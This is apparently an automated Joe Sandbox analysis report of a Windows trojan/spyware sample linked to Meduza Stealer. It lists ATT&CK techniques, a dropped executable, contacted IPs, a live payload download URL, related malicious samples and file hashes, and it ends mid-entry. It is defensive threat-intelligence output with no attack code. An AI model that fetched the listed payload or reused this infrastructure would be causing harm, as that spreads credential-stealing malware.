Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
9RM52QaURq.exe	18%	ReversingLabs	Win32.Adware.RedCap

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	29%	ReversingLabs	Win64.Trojan.Cerbu

Source	Detection	Scanner	Label
http://150.241.95.163/brozer.exeP	0%	Avira URL Cloud	safe
http://150.241.95.163	0%	Avira URL Cloud	safe
http://150.241.95.163/brozer.exe	0%	Avira URL Cloud	safe
http://150.241.95.163/brozer.exeIError	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	172.67.74.152	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://150.241.95.163/brozer.exe	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	3UuxTH6FMX.exe, 00000008.00000003.2099057290.00000218BFDFF000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEF2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://150.241.95.163/brozer.exeP	9RM52QaURq.exe, 00000000.00000002.2134382653.0000000002A71000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	3UuxTH6FMX.exe, 00000008.00000003.2099057290.00000218BFDFF000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000005.00000002.1981163512.0000000006008000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	3UuxTH6FMX.exe, 00000008.00000003.2120404079.00000218BE281000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120597539.00000218C0058000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.tiro.com	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099870231.00000218BE215000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000005.00000002.1978076132.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	3UuxTH6FMX.exe, 00000008.00000003.2100300244.00000218BFDE5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://150.241.95.163	9RM52QaURq.exe, 00000000.00000002.2134382653.0000000002B06000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099870231.00000218BE215000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000005.00000002.1981163512.0000000006008000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.1981163512.0000000006008000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	9RM52QaURq.exe, 00000000.00000002.2134382653.0000000002B06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1978076132.0000000004FA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org/3)	3UuxTH6FMX.exe, 00000008.00000002.2193147052.00000218BFD60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	3UuxTH6FMX.exe, 00000008.00000003.2120404079.00000218BE281000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120597539.00000218C0058000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.1981163512.0000000006008000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	3UuxTH6FMX.exe, 00000008.00000003.2120404079.00000218BE281000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120597539.00000218C0058000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099870231.00000218BE215000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.1978076132.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000005.00000002.1978076132.00000000051DB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.1978076132.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000005.00000002.1981163512.0000000006008000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	3UuxTH6FMX.exe, 00000008.00000003.2099057290.00000218BFDFF000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	3UuxTH6FMX.exe, 00000008.00000003.2120404079.00000218BE281000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120597539.00000218C0058000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099870231.00000218BE215000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEF2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.1978076132.00000000050F6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://150.241.95.163/brozer.exeIError	9RM52QaURq.exe	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099870231.00000218BE215000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	3UuxTH6FMX.exe, 00000008.00000003.2120404079.00000218BE281000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120597539.00000218C0058000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2120514824.00000218C0057000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000005.00000002.1978076132.00000000051DB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	9RM52QaURq.exe, 00000000.00000002.2138541168.0000000006BD2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org	3UuxTH6FMX.exe, 00000008.00000003.2112207449.00000218C05D0000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2116619540.00000218C121D000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEEA000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115513211.00000218C06EC000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2112207449.00000218C05D8000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2113394324.00000218C0698000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115513211.00000218C06E4000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115062683.00000218BFE17000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2112207449.00000218C0690000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115513211.00000218C076B000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2113772351.00000218BFEE2000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2115960288.00000218C0763000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	3UuxTH6FMX.exe, 00000008.00000003.2100300244.00000218BFDE5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ns.microsoft.t/Regi	3UuxTH6FMX.exe, 00000008.00000003.2097190041.00000218C0FD1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2191984698.00000218C0FE0000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2192078543.00000218C0FE4000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2191951086.00000218C0FE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	3UuxTH6FMX.exe, 00000008.00000003.2099556343.00000218BFFF1000.00000004.00000020.00020000.00000000.sdmp, 3UuxTH6FMX.exe, 00000008.00000003.2099870231.00000218BE215000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
150.241.95.163	unknown	Spain	207714	TECNALIAES	false
45.130.145.152	unknown	Russian Federation	49392	ASBAXETNRU	true
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556367
Start date and time:	2024-11-15 10:27:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	9RM52QaURq.exe renamed because original name is a hash value
Original Sample Name:	ca53439dbc9699e109a1810227c124dadca4066758511727be95e57b8ce3bc0f.exe
Detection:	MAL
Classification:	mal93.troj.spyw.evad.winEXE@7/7@1/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 98% Number of executed functions: 196 Number of non-executed functions: 108
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 3164 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 9RM52QaURq.exe

Simulations

Behavior and APIs

Time	Type	Description
04:28:12	API Interceptor	17x Sleep call for process: 9RM52QaURq.exe modified
04:28:32	API Interceptor	12x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
150.241.95.163	HZ1BUCfTne.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	150.241.95.163/brozer.exe
45.130.145.152	YU7jHNMJjG.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	6Ev0Nd7z2t.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	6HWYiong4s.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	btoRtc7o3v.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	HZ1BUCfTne.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	kBZhM3H0Qm.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	y2m8g4DArI.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	seRpOAk8gH.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	1n72lp2XjT.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
	fyL0RS744g.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse
172.67.74.152	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Zc9eO57fgF.elf	Get hash	malicious	Unknown	Browse	api.ipify.org/
	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	4F08j2Rmd9.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	y8tCHz7CwC.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	YU7jHNMJjG.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	6Ev0Nd7z2t.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	6HWYiong4s.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	btoRtc7o3v.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	HZ1BUCfTne.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	kBZhM3H0Qm.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	y2m8g4DArI.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	seRpOAk8gH.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	1n72lp2XjT.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	fyL0RS744g.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TECNALIAES	HZ1BUCfTne.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	150.241.95.163
	eMfPZvOkbJ.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	150.241.92.160
	G13VTHRtIa.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	150.241.92.160
	u06cfykCat.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	150.241.92.160
	4p8aK00tUr.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	150.241.92.160
	aC5NsSYmN0.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	150.241.92.160
	.main.elf	Get hash	malicious	Xmrig	Browse	150.241.101.236
	invoice_template.pdf.lnk	Get hash	malicious	SmokeLoader	Browse	150.241.91.218
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Quasar, Stealc	Browse	150.241.90.56
	mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	150.241.95.250
ASBAXETNRU	YU7jHNMJjG.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	45.130.145.152
	6Ev0Nd7z2t.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	45.130.145.152
	6HWYiong4s.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	45.130.145.152
	btoRtc7o3v.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	45.130.145.152
	HZ1BUCfTne.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	45.130.145.152
	kBZhM3H0Qm.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	45.130.145.152
	y2m8g4DArI.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	45.130.145.152
	seRpOAk8gH.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	45.130.145.152
	1n72lp2XjT.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	45.130.145.152
	fyL0RS744g.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	45.130.145.152
CLOUDFLARENETUS	NewVoicemail - +1 392 504 7XXX00-33Rebecca.silvaTranscript.html	Get hash	malicious	Unknown	Browse	104.16.123.96
	YU7jHNMJjG.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	6Ev0Nd7z2t.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	6HWYiong4s.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	btoRtc7o3v.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	HZ1BUCfTne.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	kBZhM3H0Qm.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	y2m8g4DArI.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	seRpOAk8gH.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	1n72lp2XjT.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	YU7jHNMJjG.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	6Ev0Nd7z2t.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	6HWYiong4s.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	btoRtc7o3v.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	HZ1BUCfTne.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	kBZhM3H0Qm.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	y2m8g4DArI.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	seRpOAk8gH.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	1n72lp2XjT.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	fyL0RS744g.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	HZ1BUCfTne.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9RM52QaURq.exe.log

Download File

Process:	C:\Users\user\Desktop\9RM52QaURq.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1330
Entropy (8bit):	5.357600602687667
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4q4E4Tye:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HL
MD5:	5E81AA26543B9563AD2F3DD158C2D251
SHA1:	8CDDEF245BA7B062E14CD647C625A5E56540D4D7
SHA-256:	74F0D7AE39AD589C466A7E10EDF16AC218774048E97A92F5C8862715EEEF0685
SHA-512:	F802BA6E36BDE95C51B5559B6104B8E82E6F8157CF762C7F4BBA0A2E7364809157D08670D6E841A59FD32111B876C7C460B2E05ACED78720F044759D6DBF5BD4
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379677338874509
Encrypted:	false
SSDEEP:	48:tWSU4YymI4RIoUeW+gZ9tK8NPZHUxL7u1iMuge//ZmUyus:tLHYvIIfLgZ2KRHWLOuggs
MD5:	8A9F57A7C8713307D8C9E4105ABF29E3
SHA1:	B913B9D05147A48F27FA319FD6CDE7E8D35DE119
